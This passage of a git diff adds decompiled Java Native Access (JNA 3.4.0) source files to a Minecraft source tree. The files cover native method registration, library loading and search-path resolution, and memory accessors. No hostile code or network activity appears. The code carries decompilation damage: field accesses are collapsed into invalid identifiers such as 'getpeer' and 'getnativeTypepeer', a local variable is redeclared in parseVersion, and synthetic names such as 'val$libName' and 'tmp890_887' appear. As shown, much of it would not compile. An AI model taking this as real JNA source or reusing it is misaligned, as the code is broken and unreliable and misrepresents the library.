+          throw new IllegalArgumentException(type + " is not a supported argument type (in method " + method.getName() + " in " + cls + ")");
+        }
+        if ((cvt[t] == 17) || (cvt[t] == 19))
+        {
+          type = NativeMappedConverter.getInstance(type).nativeType();
+        }
+        else if (cvt[t] == 21) {
+          toNative[t] = mapper.getToNativeConverter(type);
+        }
+        
+
+
+        switch (cvt[t]) {
+        case 4: 
+        case 17: 
+        case 19: 
+        case 20: 
+          atypes[t] = getpeer;
+          closure_atypes[t] = getpeer;
+          break;
+        case 21: 
+          if (type.isPrimitive()) {
+            closure_atypes[t] = getpeer;
+          } else
+            closure_atypes[t] = getpeer;
+          atypes[t] = getnativeTypepeer;
+          break;
+        case 0: 
+          long tmp890_887 = getpeer;atypes[t] = tmp890_887;closure_atypes[t] = tmp890_887;
+          break;
+        default: 
+          long tmp932_929 = getpeer;atypes[t] = tmp932_929;closure_atypes[t] = tmp932_929;
+        }
+        
+      }
+      sig = sig + ")";
+      sig = sig + getSignature(rclass);
+      
+      Class[] etypes = method.getExceptionTypes();
+      for (int e = 0; e < etypes.length; e++) {
+        if (LastErrorException.class.isAssignableFrom(etypes[e])) {
+          throwLastError = true;
+          break;
+        }
+      }
+      
+      String name = method.getName();
+      FunctionMapper fmapper = (FunctionMapper)lib.getOptions().get("function-mapper");
+      if (fmapper != null) {
+        name = fmapper.getFunctionName(lib, method);
+      }
+      Function f = lib.getFunction(name, method);
+      try {
+        handles[i] = registerMethod(cls, method.getName(), sig, cvt, closure_atypes, atypes, rcvt, closure_rtype, rtype, rclass, peer, f.getCallingConvention(), throwLastError, toNative, fromNative);
+
+
+
+      }
+      catch (NoSuchMethodError e)
+      {
+
+
+
+        throw new UnsatisfiedLinkError("No method " + method.getName() + " with signature " + sig + " in " + cls);
+      }
+    }
+    synchronized (registeredClasses) {
+      registeredClasses.put(cls, handles);
+      registeredLibraries.put(cls, lib);
+    }
+    cacheOptions(cls, lib.getOptions(), null);
+  }
+  
+
+
+  private static void cacheOptions(Class cls, Map libOptions, Object proxy)
+  {
+    synchronized (libraries) {
+      if (!libOptions.isEmpty())
+        options.put(cls, libOptions);
+      if (libOptions.containsKey("type-mapper"))
+        typeMappers.put(cls, libOptions.get("type-mapper"));
+      if (libOptions.containsKey("structure-alignment"))
+        alignments.put(cls, libOptions.get("structure-alignment"));
+      if (proxy != null) {
+        libraries.put(cls, new WeakReference(proxy));
+      }
+      
+
+
+
+      if ((!cls.isInterface()) && (Library.class.isAssignableFrom(cls)))
+      {
+        Class[] ifaces = cls.getInterfaces();
+        for (int i = 0; i < ifaces.length; i++) {
+          if (Library.class.isAssignableFrom(ifaces[i])) {
+            cacheOptions(ifaces[i], libOptions, proxy);
+            break;
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static NativeMapped fromNative(Class cls, Object value)
+  {
+    return (NativeMapped)NativeMappedConverter.getInstance(cls).fromNative(value, new FromNativeContext(cls));
+  }
+  
+  private static Class nativeType(Class cls) {
+    return NativeMappedConverter.getInstance(cls).nativeType();
+  }
+  
+
+  private static Object toNative(ToNativeConverter cvt, Object o)
+  {
+    return cvt.toNative(o, new ToNativeContext());
+  }
+  
+  private static Object fromNative(FromNativeConverter cvt, Object o, Class cls)
+  {
+    return cvt.fromNative(o, new FromNativeContext(cls));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void main(String[] args)
+  {
+    String DEFAULT_TITLE = "Java Native Access (JNA)";
+    String DEFAULT_VERSION = "3.4.0";
+    String DEFAULT_BUILD = "3.4.0 (package information missing)";
+    Package pkg = Native.class.getPackage();
+    String title = pkg != null ? pkg.getSpecificationTitle() : "Java Native Access (JNA)";
+    
+    if (title == null) title = "Java Native Access (JNA)";
+    String version = pkg != null ? pkg.getSpecificationVersion() : "3.4.0";
+    
+    if (version == null) version = "3.4.0";
+    title = title + " API Version " + version;
+    System.out.println(title);
+    version = pkg != null ? pkg.getImplementationVersion() : "3.4.0 (package information missing)";
+    
+    if (version == null) version = "3.4.0 (package information missing)";
+    System.out.println("Version: " + version);
+    System.out.println(" Native: " + getNativeVersion() + " (" + getAPIChecksum() + ")");
+    
+    System.exit(0);
+  }
+  
+
+
+
+
+
+
+
+  private static final int CVT_ARRAY_LONG = 10;
+  
+
+
+
+
+
+
+  private static final int CVT_ARRAY_FLOAT = 11;
+  
+
+
+
+
+
+
+  private static final int CVT_ARRAY_DOUBLE = 12;
+  
+
+
+
+
+
+
+  private static final int CVT_ARRAY_BOOLEAN = 13;
+  
+
+
+
+
+
+
+  private static final int CVT_BOOLEAN = 14;
+  
+
+
+
+
+
+
+  private static final int CVT_CALLBACK = 15;
+  
+
+
+
+
+
+  private static final int CVT_FLOAT = 16;
+  
+
+
+
+
+
+  private static final int CVT_NATIVE_MAPPED = 17;
+  
+
+
+
+
+
+  private static final int CVT_WSTRING = 18;
+  
+
+
+
+
+
+  private static final int CVT_INTEGER_TYPE = 19;
+  
+
+
+
+
+
+  private static final int CVT_POINTER_TYPE = 20;
+  
+
+
+
+
+
+  private static final int CVT_TYPE_MAPPER = 21;
+  
+
+
+
+
+
+  static Structure invokeStructure(long fp, int callFlags, Object[] args, Structure s)
+  {
+    invokeStructure(fp, callFlags, args, getPointerpeer, getTypeInfopeer);
+    
+    return s;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static Pointer getPointer(long addr)
+  {
+    long peer = _getPointer(addr);
+    return peer == 0L ? null : new Pointer(peer);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static abstract interface ffi_callback
+  {
+    public abstract void invoke(long paramLong1, long paramLong2, long paramLong3);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void detach(boolean detach) { setLastError(detach ? -1 : -2); }
+  
+  private static class Buffers {
+    private Buffers() {}
+    
+    static boolean isBuffer(Class cls) { return Buffer.class.isAssignableFrom(cls); }
+  }
+  
+  private Native() {}
+  
+  private static native void initIDs();
+  
+  private static class AWT { private AWT() {}
+    
+    static long getWindowID(Window w) throws HeadlessException { return getComponentID(w); }
+    
+    static long getComponentID(Object o)
+      throws HeadlessException
+    {
+      if (GraphicsEnvironment.isHeadless()) {
+        throw new HeadlessException("No native windows when headless");
+      }
+      Component c = (Component)o;
+      if (c.isLightweight()) {
+        throw new IllegalArgumentException("Component must be heavyweight");
+      }
+      if (!c.isDisplayable()) {
+        throw new IllegalStateException("Component must be displayable");
+      }
+      if ((Platform.isX11()) && (System.getProperty("java.version").startsWith("1.4")))
+      {
+        if (!c.isVisible()) {
+          throw new IllegalStateException("Component must be visible");
+        }
+      }
+      
+
+
+      return Native.getWindowHandle0(c);
+    }
+  }
+  
+  public static synchronized native void setProtected(boolean paramBoolean);
+  
+  public static synchronized native boolean isProtected();
+  
+  /**
+   * @deprecated
+   */
+  public static synchronized native void setPreserveLastError(boolean paramBoolean);
+  
+  /**
+   * @deprecated
+   */
+  public static synchronized native boolean getPreserveLastError();
+  
+  static native long getWindowHandle0(Component paramComponent);
+  
+  private static native long _getDirectBufferPointer(Buffer paramBuffer);
+  
+  private static native int sizeof(int paramInt);
+  
+  private static native String getNativeVersion();
+  
+  private static native String getAPIChecksum();
+  
+  public static native void setLastError(int paramInt);
+  
+  private static native void unregister(Class paramClass, long[] paramArrayOfLong);
+  
+  private static native long registerMethod(Class paramClass1, String paramString1, String paramString2, int[] paramArrayOfInt, long[] paramArrayOfLong1, long[] paramArrayOfLong2, int paramInt1, long paramLong1, long paramLong2, Class paramClass2, long paramLong3, int paramInt2, boolean paramBoolean, ToNativeConverter[] paramArrayOfToNativeConverter, FromNativeConverter paramFromNativeConverter);
+  
+  public static native long ffi_prep_cif(int paramInt1, int paramInt2, long paramLong1, long paramLong2);
+  
+  public static native void ffi_call(long paramLong1, long paramLong2, long paramLong3, long paramLong4);
+  
+  public static native long ffi_prep_closure(long paramLong, ffi_callback paramFfi_callback);
+  
+  public static native void ffi_free_closure(long paramLong);
+  
+  static native int initialize_ffi_type(long paramLong);
+  
+  static synchronized native void freeNativeCallback(long paramLong);
+  
+  static synchronized native long createNativeCallback(Callback paramCallback, Method paramMethod, Class[] paramArrayOfClass, Class paramClass, int paramInt, boolean paramBoolean);
+  
+  static native int invokeInt(long paramLong, int paramInt, Object[] paramArrayOfObject);
+  
+  static native long invokeLong(long paramLong, int paramInt, Object[] paramArrayOfObject);
+  
+  static native void invokeVoid(long paramLong, int paramInt, Object[] paramArrayOfObject);
+  
+  static native float invokeFloat(long paramLong, int paramInt, Object[] paramArrayOfObject);
+  
+  static native double invokeDouble(long paramLong, int paramInt, Object[] paramArrayOfObject);
+  
+  static native long invokePointer(long paramLong, int paramInt, Object[] paramArrayOfObject);
+  
+  private static native void invokeStructure(long paramLong1, int paramInt, Object[] paramArrayOfObject, long paramLong2, long paramLong3);
+  
+  static native Object invokeObject(long paramLong, int paramInt, Object[] paramArrayOfObject);
+  
+  static native long open(String paramString);
+  
+  static native void close(long paramLong);
+  
+  static native long findSymbol(long paramLong, String paramString);
+  
+  static native long indexOf(long paramLong, byte paramByte);
+  
+  static native void read(long paramLong, byte[] paramArrayOfByte, int paramInt1, int paramInt2);
+  
+  static native void read(long paramLong, short[] paramArrayOfShort, int paramInt1, int paramInt2);
+  
+  static native void read(long paramLong, char[] paramArrayOfChar, int paramInt1, int paramInt2);
+  
+  static native void read(long paramLong, int[] paramArrayOfInt, int paramInt1, int paramInt2);
+  
+  static native void read(long paramLong, long[] paramArrayOfLong, int paramInt1, int paramInt2);
+  
+  static native void read(long paramLong, float[] paramArrayOfFloat, int paramInt1, int paramInt2);
+  
+  static native void read(long paramLong, double[] paramArrayOfDouble, int paramInt1, int paramInt2);
+  
+  static native void write(long paramLong, byte[] paramArrayOfByte, int paramInt1, int paramInt2);
+  
+  static native void write(long paramLong, short[] paramArrayOfShort, int paramInt1, int paramInt2);
+  
+  static native void write(long paramLong, char[] paramArrayOfChar, int paramInt1, int paramInt2);
+  
+  static native void write(long paramLong, int[] paramArrayOfInt, int paramInt1, int paramInt2);
+  
+  static native void write(long paramLong, long[] paramArrayOfLong, int paramInt1, int paramInt2);
+  
+  static native void write(long paramLong, float[] paramArrayOfFloat, int paramInt1, int paramInt2);
+  
+  static native void write(long paramLong, double[] paramArrayOfDouble, int paramInt1, int paramInt2);
+  
+  static native byte getByte(long paramLong);
+  
+  static native char getChar(long paramLong);
+  
+  static native short getShort(long paramLong);
+  
+  static native int getInt(long paramLong);
+  
+  static native long getLong(long paramLong);
+  
+  static native float getFloat(long paramLong);
+  
+  static native double getDouble(long paramLong);
+  
+  private static native long _getPointer(long paramLong);
+  
+  static native String getString(long paramLong, boolean paramBoolean);
+  
+  static native void setMemory(long paramLong1, long paramLong2, byte paramByte);
+  
+  static native void setByte(long paramLong, byte paramByte);
+  
+  static native void setShort(long paramLong, short paramShort);
+  
+  static native void setChar(long paramLong, char paramChar);
+  
+  static native void setInt(long paramLong, int paramInt);
+  
+  static native void setLong(long paramLong1, long paramLong2);
+  
+  static native void setFloat(long paramLong, float paramFloat);
+  
+  static native void setDouble(long paramLong, double paramDouble);
+  
+  static native void setPointer(long paramLong1, long paramLong2);
+  
+  static native void setString(long paramLong, String paramString, boolean paramBoolean);
+  
+  public static native long malloc(long paramLong);
+  
+  public static native void free(long paramLong);
+  
+  public static native ByteBuffer getDirectByteBuffer(long paramLong1, long paramLong2);
+}
diff --git a/src/minecraft/com/sun/jna/NativeLibrary.java b/src/minecraft/com/sun/jna/NativeLibrary.java
new file mode 100644
index 0000000..7f444b6
--- /dev/null
+++ b/src/minecraft/com/sun/jna/NativeLibrary.java
@@ -0,0 +1,1253 @@
+package com.sun.jna;
+
+import java.io.File;
+import java.io.FilenameFilter;
+import java.lang.ref.Reference;
+import java.lang.ref.WeakReference;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.StringTokenizer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NativeLibrary
+{
+  private long handle;
+  private final String libraryName;
+  private final String libraryPath;
+  private final Map functions = new HashMap();
+  
+  final int callFlags;
+  final Map options;
+  private static final Map libraries = new HashMap();
+  private static final Map searchPaths = Collections.synchronizedMap(new HashMap());
+  private static final List librarySearchPath = new LinkedList();
+  
+
+
+
+
+
+  private static String functionKey(String name, int flags)
+  {
+    return name + "|" + flags;
+  }
+  
+  private NativeLibrary(String libraryName, String libraryPath, long handle, Map options) {
+    this.libraryName = getLibraryName(libraryName);
+    this.libraryPath = libraryPath;
+    this.handle = handle;
+    Object option = options.get("calling-convention");
+    int callingConvention = (option instanceof Integer) ? ((Integer)option).intValue() : 0;
+    
+    callFlags = callingConvention;
+    this.options = options;
+    
+
+
+    if ((Platform.isWindows()) && ("kernel32".equals(this.libraryName.toLowerCase()))) {
+      synchronized (functions) {
+        Function f = new Function(this, "GetLastError", 1) {
+          Object invoke(Object[] args, Class returnType, boolean b) {
+            return new Integer(Native.getLastError());
+          }
+        };
+        functions.put(functionKey("GetLastError", callFlags), f);
+      }
+    }
+  }
+  
+  private static NativeLibrary loadLibrary(String libraryName, Map options) {
+    List searchPath = new LinkedList();
+    
+
+
+    String webstartPath = Native.getWebStartLibraryPath(libraryName);
+    if (webstartPath != null) {
+      searchPath.add(webstartPath);
+    }
+    
+
+
+
+    List customPaths = (List)searchPaths.get(libraryName);
+    if (customPaths != null) {
+      synchronized (customPaths) {
+        searchPath.addAll(0, customPaths);
+      }
+    }
+    
+    searchPath.addAll(initPaths("jna.library.path"));
+    String libraryPath = findLibraryPath(libraryName, searchPath);
+    long handle = 0L;
+    
+
+
+
+    try
+    {
+      handle = Native.open(libraryPath);
+    }
+    catch (UnsatisfiedLinkError e)
+    {
+      searchPath.addAll(librarySearchPath);
+    }
+    try {
+      if (handle == 0L) {
+        libraryPath = findLibraryPath(libraryName, searchPath);
+        handle = Native.open(libraryPath);
+        if (handle == 0L) {
+          throw new UnsatisfiedLinkError("Failed to load library '" + libraryName + "'");
+        }
+      }
+    }
+    catch (UnsatisfiedLinkError e) {
+      if (Platform.isLinux())
+      {
+
+
+        libraryPath = matchLibrary(libraryName, searchPath);
+        if (libraryPath != null) {
+          try {
+            handle = Native.open(libraryPath);
+          } catch (UnsatisfiedLinkError e2) {
+            e = e2;
+          }
+        }
+      }
+      else if ((Platform.isMac()) && (!libraryName.endsWith(".dylib"))) {
+        libraryPath = "/System/Library/Frameworks/" + libraryName + ".framework/" + libraryName;
+        
+        if (new File(libraryPath).exists()) {
+          try {
+            handle = Native.open(libraryPath);
+          } catch (UnsatisfiedLinkError e2) {
+            e = e2;
+          }
+        }
+      }
+      else if (Platform.isWindows()) {
+        libraryPath = findLibraryPath("lib" + libraryName, searchPath);
+        try { handle = Native.open(libraryPath);
+        } catch (UnsatisfiedLinkError e2) { e = e2;
+        } }
+      if (handle == 0L) {
+        throw new UnsatisfiedLinkError("Unable to load library '" + libraryName + "': " + e.getMessage());
+      }
+    }
+    
+    return new NativeLibrary(libraryName, libraryPath, handle, options);
+  }
+  
+  private String getLibraryName(String libraryName) {
+    String simplified = libraryName;
+    String BASE = "---";
+    String template = mapLibraryName("---");
+    int prefixEnd = template.indexOf("---");
+    if ((prefixEnd > 0) && (simplified.startsWith(template.substring(0, prefixEnd)))) {
+      simplified = simplified.substring(prefixEnd);
+    }
+    String suffix = template.substring(prefixEnd + "---".length());
+    int suffixStart = simplified.indexOf(suffix);
+    if (suffixStart != -1) {
+      simplified = simplified.substring(0, suffixStart);
+    }
+    return simplified;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static final NativeLibrary getInstance(String libraryName)
+  {
+    return getInstance(libraryName, Collections.EMPTY_MAP);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final NativeLibrary getInstance(String libraryName, Map options)
+  {
+    options = new HashMap(options);
+    if (options.get("calling-convention") == null) {
+      options.put("calling-convention", new Integer(0));
+    }
+    
+
+
+    if ((Platform.isLinux()) && ("c".equals(libraryName))) {
+      libraryName = null;
+    }
+    synchronized (libraries) {
+      WeakReference ref = (WeakReference)libraries.get(libraryName + options);
+      NativeLibrary library = ref != null ? (NativeLibrary)ref.get() : null;
+      
+      if (library == null) {
+        if (libraryName == null) {
+          library = new NativeLibrary("<process>", null, Native.open(null), options);
+        }
+        else {
+          library = loadLibrary(libraryName, options);
+        }
+        ref = new WeakReference(library);
+        libraries.put(library.getName() + options, ref);
+        File file = library.getFile();
+        if (file != null) {
+          libraries.put(file.getAbsolutePath() + options, ref);
+          libraries.put(file.getName() + options, ref);
+        }
+      }
+      return library;
+    }
+  }
+  
+
+
+
+
+
+  public static final synchronized NativeLibrary getProcess()
+  {
+    return getInstance(null);
+  }
+  
+
+
+
+
+
+  public static final synchronized NativeLibrary getProcess(Map options)
+  {
+    return getInstance(null, options);
+  }
+  
+
+
+
+
+
+
+  public static final void addSearchPath(String libraryName, String path)
+  {
+    synchronized (searchPaths) {
+      List customPaths = (List)searchPaths.get(libraryName);
+      if (customPaths == null) {
+        customPaths = Collections.synchronizedList(new LinkedList());
+        searchPaths.put(libraryName, customPaths);
+      }
+      
+      customPaths.add(path);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Function getFunction(String functionName)
+  {
+    return getFunction(functionName, callFlags);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  Function getFunction(String name, Method method)
+  {
+    int flags = callFlags;
+    Class[] etypes = method.getExceptionTypes();
+    for (int i = 0; i < etypes.length; i++) {
+      if (LastErrorException.class.isAssignableFrom(etypes[i])) {
+        flags |= 0x4;
+      }
+    }
+    return getFunction(name, flags);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Function getFunction(String functionName, int callFlags)
+  {
+    if (functionName == null)
+      throw new NullPointerException("Function name may not be null");
+    synchronized (functions) {
+      String key = functionKey(functionName, callFlags);
+      Function function = (Function)functions.get(key);
+      if (function == null) {
+        function = new Function(this, functionName, callFlags);
+        functions.put(key, function);
+      }
+      return function;
+    }
+  }
+  
+  public Map getOptions()
+  {
+    return options;
+  }
+  
+
+
+
+  public Pointer getGlobalVariableAddress(String symbolName)
+  {
+    try
+    {
+      return new Pointer(getSymbolAddress(symbolName));
+    }
+    catch (UnsatisfiedLinkError e) {
+      throw new UnsatisfiedLinkError("Error looking up '" + symbolName + "': " + e.getMessage());
+    }
+  }
+  
+
+
+
+
+
+  long getSymbolAddress(String name)
+  {
+    if (handle == 0L) {
+      throw new UnsatisfiedLinkError("Library has been unloaded");
+    }
+    return Native.findSymbol(handle, name);
+  }
+  
+  public String toString() { return "Native Library <" + libraryPath + "@" + handle + ">"; }
+  
+  public String getName()
+  {
+    return libraryName;
+  }
+  
+
+
+  public File getFile()
+  {
+    if (libraryPath == null)
+      return null;
+    return new File(libraryPath);
+  }
+  
+  protected void finalize() {
+    dispose();
+  }
+  
+  static void disposeAll()
+  {
+    Set values;
+    synchronized (libraries) {
+      values = new HashSet(libraries.values());
+    }
+    for (Iterator i = values.iterator(); i.hasNext();) {
+      Object ref = (WeakReference)i.next();
+      NativeLibrary lib = (NativeLibrary)((Reference)ref).get();
+      if (lib != null) {
+        lib.dispose();
+      }
+    }
+  }
+  
+  public void dispose() {
+    Iterator i;
+    synchronized (libraries) {
+      for (i = libraries.values().iterator(); i.hasNext();) {
+        Reference ref = (WeakReference)i.next();
+        if (ref.get() == this) {
+          i.remove();
+        }
+      }
+    }
+    synchronized (this) {
+      if (handle != 0L) {
+        Native.close(handle);
+        handle = 0L;
+      }
+    }
+  }
+  
+  private static List initPaths(String key) {
+    String value = System.getProperty(key, "");
+    if ("".equals(value)) {
+      return Collections.EMPTY_LIST;
+    }
+    StringTokenizer st = new StringTokenizer(value, File.pathSeparator);
+    List list = new ArrayList();
+    while (st.hasMoreTokens()) {
+      String path = st.nextToken();
+      if (!"".equals(path)) {
+        list.add(path);
+      }
+    }
+    return list;
+  }
+  
+
+
+
+
+  private static String findLibraryPath(String libName, List searchPath)
+  {
+    if (new File(libName).isAbsolute()) {
+      return libName;
+    }
+    
+
+
+
+    String name = mapLibraryName(libName);
+    
+
+    for (Iterator it = searchPath.iterator(); it.hasNext();) {
+      String path = (String)it.next();
+      File file = new File(path, name);
+      if (file.exists()) {
+        return file.getAbsolutePath();
+      }
+      if (Platform.isMac())
+      {
+
+        if (name.endsWith(".dylib")) {
+          file = new File(path, name.substring(0, name.lastIndexOf(".dylib")) + ".jnilib");
+          if (file.exists()) {
+            return file.getAbsolutePath();
+          }
+        }
+      }
+    }
+    
+
+
+
+
+    return name;
+  }
+  
+  private static String mapLibraryName(String libName) {
+    if (Platform.isMac()) {
+      if ((libName.startsWith("lib")) && ((libName.endsWith(".dylib")) || (libName.endsWith(".jnilib"))))
+      {
+
+        return libName;
+      }
+      String name = System.mapLibraryName(libName);
+      
+
+
+      if (name.endsWith(".jnilib")) {
+        return name.substring(0, name.lastIndexOf(".jnilib")) + ".dylib";
+      }
+      return name;
+    }
+    if (Platform.isLinux()) {
+      if ((isVersionedName(libName)) || (libName.endsWith(".so")))
+      {
+        return libName;
+      }
+    }
+    else if ((Platform.isWindows()) && (
+      (libName.endsWith(".drv")) || (libName.endsWith(".dll")))) {
+      return libName;
+    }
+    
+
+    return System.mapLibraryName(libName);
+  }
+  
+  private static boolean isVersionedName(String name) {
+    if (name.startsWith("lib")) {
+      int so = name.lastIndexOf(".so.");
+      if ((so != -1) && (so + 4 < name.length())) {
+        for (int i = so + 4; i < name.length(); i++) {
+          char ch = name.charAt(i);
+          if ((!Character.isDigit(ch)) && (ch != '.')) {
+            return false;
+          }
+        }
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+  static String matchLibrary(String libName, List searchPath)
+  {
+    File lib = new File(libName);
+    if (lib.isAbsolute()) {
+      searchPath = Arrays.asList(new String[] { lib.getParent() });
+    }
+    FilenameFilter filter = new FilenameFilter() { private final String val$libName;
+      
+      public boolean accept(File dir, String filename) { return ((filename.startsWith("lib" + val$libName + ".so")) || ((filename.startsWith(val$libName + ".so")) && (val$libName.startsWith("lib")))) && (NativeLibrary.isVersionedName(filename));
+
+      }
+      
+
+
+    };
+    List matches = new LinkedList();
+    for (Iterator it = searchPath.iterator(); it.hasNext();) {
+      File[] files = new File((String)it.next()).listFiles(filter);
+      if ((files != null) && (files.length > 0)) {
+        matches.addAll(Arrays.asList(files));
+      }
+    }
+    
+
+
+
+    double bestVersion = -1.0D;
+    String bestMatch = null;
+    for (Iterator it = matches.iterator(); it.hasNext();) {
+      String path = ((File)it.next()).getAbsolutePath();
+      String ver = path.substring(path.lastIndexOf(".so.") + 4);
+      double version = parseVersion(ver);
+      if (version > bestVersion) {
+        bestVersion = version;
+        bestMatch = path;
+      }
+    }
+    return bestMatch;
+  }
+  
+  static double parseVersion(String ver) {
+    double v = 0.0D;
+    double divisor = 1.0D;
+    int dot = ver.indexOf(".");
+    while (ver != null) {
+      String num;
+      if (dot != -1) {
+        String num = ver.substring(0, dot);
+        ver = ver.substring(dot + 1);
+        dot = ver.indexOf(".");
+      }
+      else {
+        num = ver;
+        ver = null;
+      }
+      try {
+        v += Integer.parseInt(num) / divisor;
+      }
+      catch (NumberFormatException e) {
+        return 0.0D;
+      }
+      divisor *= 100.0D;
+    }
+    
+    return v;
+  }
+  
+  static
+  {
+    if (Native.POINTER_SIZE == 0) {
+      throw new Error("Native library not initialized");
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    String webstartPath = Native.getWebStartLibraryPath("jnidispatch");
+    if (webstartPath != null) {
+      librarySearchPath.add(webstartPath);
+    }
+    if ((System.getProperty("jna.platform.library.path") == null) && (!Platform.isWindows()))
+    {
+
+      String platformPath = "";
+      String sep = "";
+      String archPath = "";
+      
+
+
+
+
+
+
+
+
+
+
+
+      if ((Platform.isLinux()) || (Platform.isSolaris()) || (Platform.isFreeBSD()))
+      {
+        archPath = (Platform.isSolaris() ? "/" : "") + Pointer.SIZE * 8;
+      }
+      String[] paths = { "/usr/lib" + archPath, "/lib" + archPath, "/usr/lib", "/lib" };
+      
+
+
+
+
+
+
+
+
+
+      if (Platform.isLinux())
+      {
+        String cpu = "";
+        String kernel = "linux";
+        String libc = "gnu";
+        
+        if (Platform.isIntel()) {
+          cpu = Platform.is64Bit() ? "x86_64" : "i386";
+        } else if (Platform.isPPC()) {
+          cpu = Platform.is64Bit() ? "powerpc64" : "powerpc";
+        } else if (Platform.isARM()) {
+          cpu = "arm";
+          libc = "gnueabi";
+        }
+        
+        String multiArchPath = cpu + "-" + kernel + "-" + libc;
+        
+
+
+        paths = new String[] { "/usr/lib/" + multiArchPath, "/lib/" + multiArchPath, "/usr/lib" + archPath, "/lib" + archPath, "/usr/lib", "/lib" };
+      }
+      
+
+
+
+
+
+
+      for (int i = 0; i < paths.length; i++) {
+        File dir = new File(paths[i]);
+        if ((dir.exists()) && (dir.isDirectory())) {
+          platformPath = platformPath + sep + paths[i];
+          sep = File.pathSeparator;
+        }
+      }
+      if (!"".equals(platformPath)) {
+        System.setProperty("jna.platform.library.path", platformPath);
+      }
+    }
+    librarySearchPath.addAll(initPaths("jna.platform.library.path"));
+  }
+}
diff --git a/src/minecraft/com/sun/jna/NativeLong.java b/src/minecraft/com/sun/jna/NativeLong.java
new file mode 100644
index 0000000..8d088ec
--- /dev/null
+++ b/src/minecraft/com/sun/jna/NativeLong.java
@@ -0,0 +1,34 @@
+package com.sun.jna;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NativeLong
+  extends IntegerType
+{
+  public static final int SIZE = Native.LONG_SIZE;
+  
+  public NativeLong()
+  {
+    this(0L);
+  }
+  
+  public NativeLong(long value)
+  {
+    super(SIZE, value);
+  }
+}
diff --git a/src/minecraft/com/sun/jna/NativeMapped.java b/src/minecraft/com/sun/jna/NativeMapped.java
new file mode 100644
index 0000000..907b03b
--- /dev/null
+++ b/src/minecraft/com/sun/jna/NativeMapped.java
@@ -0,0 +1,10 @@
+package com.sun.jna;
+
+public abstract interface NativeMapped
+{
+  public abstract Object fromNative(Object paramObject, FromNativeContext paramFromNativeContext);
+  
+  public abstract Object toNative();
+  
+  public abstract Class nativeType();
+}
diff --git a/src/minecraft/com/sun/jna/NativeMappedConverter.java b/src/minecraft/com/sun/jna/NativeMappedConverter.java
new file mode 100644
index 0000000..21f521f
--- /dev/null
+++ b/src/minecraft/com/sun/jna/NativeMappedConverter.java
@@ -0,0 +1,80 @@
+package com.sun.jna;
+
+import java.lang.ref.Reference;
+import java.lang.ref.SoftReference;
+import java.util.Map;
+import java.util.WeakHashMap;
+
+
+
+
+
+
+
+
+
+
+
+
+public class NativeMappedConverter
+  implements TypeConverter
+{
+  private static final Map converters = new WeakHashMap();
+  private final Class type;
+  private final Class nativeType;
+  private final NativeMapped instance;
+  
+  public static NativeMappedConverter getInstance(Class cls) {
+    synchronized (converters) {
+      Reference r = (Reference)converters.get(cls);
